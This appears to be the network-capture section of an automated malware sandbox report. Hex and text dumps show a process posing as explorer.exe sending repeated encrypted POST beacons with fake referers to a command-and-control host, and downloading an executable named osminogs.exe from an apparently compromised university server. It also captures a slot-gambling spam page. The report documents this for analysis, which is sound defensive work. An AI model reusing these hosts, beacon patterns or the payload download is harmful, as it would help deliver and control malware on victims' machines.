                                                                                                                                                                                                                                                              Data Raw: 31 62 61 65 0d 0a 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 30 74 4c 45 6f 57 7a 6f 64 49 79 52 73 59 58 32 70 2d 71 59 71 73 62 41 55 4c 67 64 4c 6b 38 76 45 33 68 37 57 4c 48 46 66 4e 41 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6d 70 68 74 6d 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 6c 6f 74 37 37 38 2e 73 67 70 31 2e 63 64 6e 2e 64 69 67 69 74 61 6c 6f 63 65 61 6e 73 70 61 63 65 73 2e 63 6f 6d 2f 6d 6a 6d 73 6c 6f 74 2e 68 74 6d 6c 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 61 6e 69 2e 6d 6f 6d 2f 69 6d 61 67 65 2f 31 43 30 4e 2d 53 4c 4f 54 2e 70 6e 67 3f 63 72 6f 70 3d 63 65 6e 74 65 72 26 68 65 69 67 68 74 3d 33 32 26 76 3d 31 37 30 32 39 36 34 37 32 35 26 77 69 64 74 68 3d 33 32 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 65 7a 2e 69 6e 6b 2f 6d 6a 6d 74 6f 74 6f 2f 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 73 68 6f 70 69 66 79 63 64 6e 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 4d 4a 4d 54 4f 54 4f 3a 20 4d 65 6e 61 6b 6c 75 6b 6b 61 6e 20 44 75 6e 69 61 20 53 6c 6f 74 20 54 68 61 69 6c 61 6e 64 20 54 65 72 67 61 63 6f 72 20 64 69 20 54 61 68 75 6e 20 32 30 32 34 0d 0a 20 26 6e 64 61 73 68 3b 20 53 49 54 55 53 20 53 4c 4f 54 20 47 41 43 4f 52 20 54 41 48 55 4e 20 49 4e 49 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 50 65 6e 64 61 68 75 6c 75 61 6e 3a 20 4d 4a 4d 54 4f 54 4f 20 6b 65 6d 62 61 6c 69 20 6d 65 6e 67 67 65 62 72 61 6b 20 64 75 6e 69 61 20 70 65 72 6a 75 64 69 61 6e 20 6f 6e 6c 69 6e 65 20 64 65 6e 67
                                                                                                                                                                                                                                                              Data Ascii: 1bae<!doctype html><html class="no-js" lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta name="theme-color" content=""> <meta name="robots" content="index, follow"> <meta name="google-site-verification" content="0tLEoWzodIyRsYX2p-qYqsbAULgdLk8vE3h7WLHFfNA" /> <link rel="amphtml" href="https://slot778.sgp1.cdn.digitaloceanspaces.com/mjmslot.html"> <link rel="shortcut icon" href="https://www.rani.mom/image/1C0N-SLOT.png?crop=center&height=32&v=1702964725&width=32" type="image/x-icon"> <link rel="canonical" href="https://mez.ink/mjmtoto/"><link rel="preconnect" href="https://fonts.shopifycdn.com" crossorigin><title> MJMTOTO: Menaklukkan Dunia Slot Thailand Tergacor di Tahun 2024 &ndash; SITUS SLOT GACOR TAHUN INI</title> <meta name="description" content="Pendahuluan: MJMTOTO kembali menggebrak dunia perjudian online deng
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062477112 CET1286INData Raw: 61 6e 20 6d 65 6e 79 61 6a 69 6b 61 6e 20 70 65 6e 67 61 6c 61 6d 61 6e 20 73 6c 6f 74 20 54 68 61 69 6c 61 6e 64 20 74 65 72 67 61 63 6f 72 20 79 61 6e 67 20 62 65 6c 75 6d 20 70 65 72 6e 61 68 20 74 65 72 6a 61 64 69 20 73 65 62 65 6c 75 6d 6e
                                                                                                                                                                                                                                                              Data Ascii: an menyajikan pengalaman slot Thailand tergacor yang belum pernah terjadi sebelumnya. Tahun 2024 membawa sensasi baru bagi para pecinta slot dengan berbagai kejutan menarik di MJMTOTO. Artikel ini akan membahas secara mendalam tentang keunggul
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062489986 CET1286INData Raw: 3f 76 3d 31 37 30 37 33 32 31 31 32 34 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 3a 77 69 64 74 68 22 20 63 6f 6e 74 65 6e 74 3d 22 38 39 34 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74
                                                                                                                                                                                                                                                              Data Ascii: ?v=1707321124"> <meta property="og:image:width" content="894"> <meta property="og:image:height" content="894"><meta property="og:price:amount" content="0,00"> <meta property="og:price:currency" content="IDR"><meta name="twitter:card"
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062503099 CET1286INData Raw: 66 6f 72 6d 61 6e 63 65 20 26 26 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 20 26 26 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 27 73 68 6f 70 69 66 79 2e 63 6f 6e 74 65 6e 74 5f 66 6f
                                                                                                                                                                                                                                                              Data Ascii: formance && window.performance.mark && window.performance.mark('shopify.content_for_header.start');</script><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/68754604256/digital_wallets/dialog"><link rel="alternate" t
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062515974 CET1286INData Raw: 22 2c 22 69 64 22 3a 31 34 30 32 35 36 38 30 35 30 38 38 2c 22 74 68 65 6d 65 5f 73 74 6f 72 65 5f 69 64 22 3a 38 38 37 2c 22 72 6f 6c 65 22 3a 22 6d 61 69 6e 22 7d 3b 0d 0a 53 68 6f 70 69 66 79 2e 74 68 65 6d 65 2e 68 61 6e 64 6c 65 20 3d 20 22
                                                                                                                                                                                                                                                              Data Ascii: ","id":140256805088,"theme_store_id":887,"role":"main"};Shopify.theme.handle = "null";Shopify.theme.style = {"id":null,"handle":null};Shopify.cdnHost = "9e0bbd-4.myshopify.com/cdn";Shopify.routes = Shopify.routes || {};Shopify.routes
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062553883 CET924INData Raw: 6e 74 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 61 63 63 6f 75 6e 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 63 75 73 74 6f 6d 65 72 5f 6c 6f 67 69 6e 22 5d 27 2c 27
                                                                                                                                                                                                                                                              Data Ascii: nt"]','form[action*="/account"] input[name="form_type"][value="customer_login"]','form[action*="/account"] input[name="form_type"][value="recover_customer_password"]','form[action*="/account"] input[name="form_type"][value="create_customer"]',
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062567949 CET1286INData Raw: 36 34 35 32 0d 0a 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 6e 2c 21 30 29 2c 6f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2c 6e 2c 21 30 29 2c 6f 2e 61 64 64 45 76 65 6e 74
                                                                                                                                                                                                                                                              Data Ascii: 6452.addEventListener("click",n,!0),o.addEventListener("change",n,!0),o.addEventListener("focus",n,!0)})}(document);</script><script integrity="sha256-h4dvokWvGcvRSqiG7VnGqoonxF0k3NeoHPLSMjUGIz4=" data-source-attribution="shopify.loadfeatu
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062580109 CET1286INData Raw: 39 65 30 62 62 64 2d 34 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 31 2f 63 6f 6d 70 69 6c 65 64 5f 61 73 73 65 74 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 35 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 3c 73 63
                                                                                                                                                                                                                                                              Data Ascii: 9e0bbd-4.myshopify.com/cdn/shop/t/1/compiled_assets/scripts.js?5"></script><script>window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.end');</script> <style data-shopify> @f
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062587023 CET1286INData Raw: 6e 37 2e 37 63 38 35 66 35 63 35 63 63 31 35 35 35 64 65 39 32 63 63 37 65 66 32 37 39 30 65 65 33 63 66 66 65 35 32 33 37 66 35 2e 77 6f 66 66 3f 68 31 3d 4f 57 55 77 59 6d 4a 6b 4c 54 51 75 59 57 4e 6a 62 33 56 75 64 43 35 74 65 58 4e 6f 62 33
                                                                                                                                                                                                                                                              Data Ascii: n7.7c85f5c5cc1555de92cc7ef2790ee3cffe5237f5.woff?h1=OWUwYmJkLTQuYWNjb3VudC5teXNob3BpZnkuY29t&hmac=7dcc5ee4efc72b98db4b9c5500bcb3e02f1b81b1354857911aa7323b145dca9c") format("woff");} @font-face { font-family: Assis
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062593937 CET1286INData Raw: 2c 31 38 2c 31 38 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 63 6f 6c 6f 72 2d 6c 69 6e 6b 3a 20 31 38 2c 31 38 2c 31 38 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 63 6f 6c 6f 72 2d 62 61 64 67 65 2d 66 6f 72 65 67 72 6f 75 6e 64 3a 20 31 38 2c 31 38 2c
                                                                                                                                                                                                                                                              Data Ascii: ,18,18; --color-link: 18,18,18; --color-badge-foreground: 18,18,18; --color-badge-background: 166,161,161; --color-badge-border: 18,18,18; --payment-terms-background-color: rgb(166 161 161);
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.272805929 CET1286INData Raw: 63 6f 6c 6f 72 2d 62 75 74 74 6f 6e 2d 74 65 78 74 3a 20 30 2c 30 2c 30 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 63 6f 6c 6f 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 3a 20 33 36 2c 34 30 2c 35 31 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d
                                                                                                                                                                                                                                                              Data Ascii: color-button-text: 0,0,0; --color-secondary-button: 36,40,51; --color-secondary-button-text: 255,255,255; --color-link: 255,255,255; --color-badge-foreground: 255,255,255; --color-badge-background:


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              35192.168.2.549763185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.726897001 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://fmydyyifdkxsccew.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 229
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.726954937 CET229OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 2b ce af 17
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d+C=dFXx7[-Y]\"9hz.tOR7;"-[NfaKIvFB0gqn$sr'kzsw[BRU+vE9AmdFX\HU<9w
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.974945068 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:45 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              36192.168.2.549765185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:46.279678106 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://dyssigqosjokxkkd.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 224
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:46.283122063 CET224OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 83 66 5d 02 c8 a1 c1 64 41 c8 a4 1d
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dAv0Z+/[+m}[8F~a:tM`)"i#5vgaO_D[!bo<GkFa-bIsKwdCFvtzR_}6$?
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:46.529685020 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:46 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              37192.168.2.549766185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:46.792674065 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://xykelpcsnirlvvi.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 177
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:46.792716980 CET177OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 80 66 5d 02 c8 a1 c1 64 3e c5 9d 28
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d>(e|ST6H)}h6@|hlIU:``^2nJ\N#+2LrRZ[%`l
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:47.043301105 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:46 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              38192.168.2.549768185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:47.286252022 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://ixegmroantpxyo.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 284
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:47.286289930 CET284OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 81 66 5d 02 c8 a1 c1 64 1b 9a ac 32
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d2%/JZL_z'3g9|Pb7OQ(Vfg{[%=;_5`:sOl(rMPq B ikm]aeR,z>:e1ca[
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:47.537570000 CET230INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:47 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 32 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f cc d5 54 02 6c 5c e5 aa 81 fc ab 12 ea 15 da 2d b8 45 52 9d 0b fe ee 3a ae 2f 4d 1b 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 2fI:82OTl\-ER:/M0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              39192.168.2.549771103.23.232.80801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.135623932 CET165OUTGET /osminogs.exe HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: m2reg.ulm.ac.id
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469129086 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:49 GMT
                                                                                                                                                                                                                                                              Server: Apache
                                                                                                                                                                                                                                                              Last-Modified: Sat, 03 Feb 2024 12:21:54 GMT
                                                                                                                                                                                                                                                              ETag: "5fbcc0-610794624cc4f"
                                                                                                                                                                                                                                                              Accept-Ranges: bytes
                                                                                                                                                                                                                                                              Content-Length: 6274240
                                                                                                                                                                                                                                                              Cache-Control: max-age=31536000, public
                                                                                                                                                                                                                                                              Expires: Fri, 07 Feb 2025 19:17:49 GMT
                                                                                                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                                                                                                              Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                                                                              Pragma: public
                                                                                                                                                                                                                                                              Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-msdownload
                                                                                                                                                                                                                                                              Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 0a 00 15 0a b8 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 6e 05 00 00 02 06 00 00 00 00 00 d3 41 ae 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 b5 00 00 04 00 00 9a e2 5f 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 a6 6d 00 8c 00 00 00 00 d0 b2 00 ff d0 02 00 00 00 00 00 00 00 00 00 00 a4 5f 00 c0 18 00 00 00 b0 b2 00 60 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 55 00 fc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9e 6d 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0e 3f 00 00 00 80 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 54 e1 01 00 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 74 74 c5 92 c3 96 a6 8e 18 00 00 b0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 70 74 74 c5 92 c3 96 b0 00 1e 00 00 40 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e c3 98 c3 b5 5b e2 80 e4 95 17 00 00 50 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e c3 98 c3 b5 5b e2 80 a0 03 00 00 00 f0 55 00 00 04 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e c3 98 c3 b5 5b e2 80 90 ad 5c 00 00 00 56 00 00 ae 5c 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 60 1a 00 00 00 b0 b2 00 00 1c 00 00 00 b6 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 ff d0 02 00 00 d0 b2 00 00 d2 02 00 00 d2 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                              Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELenA@_@$m_`U.textm `.rdata?@@.dataT@.ptt``.ptt@ ``.[P> `.[U@.[\V\ `.reloc`\@@.rsrc\@@
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469168901 CET1286INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                              Data Ascii: 4RMKljR`p4inxpb^t
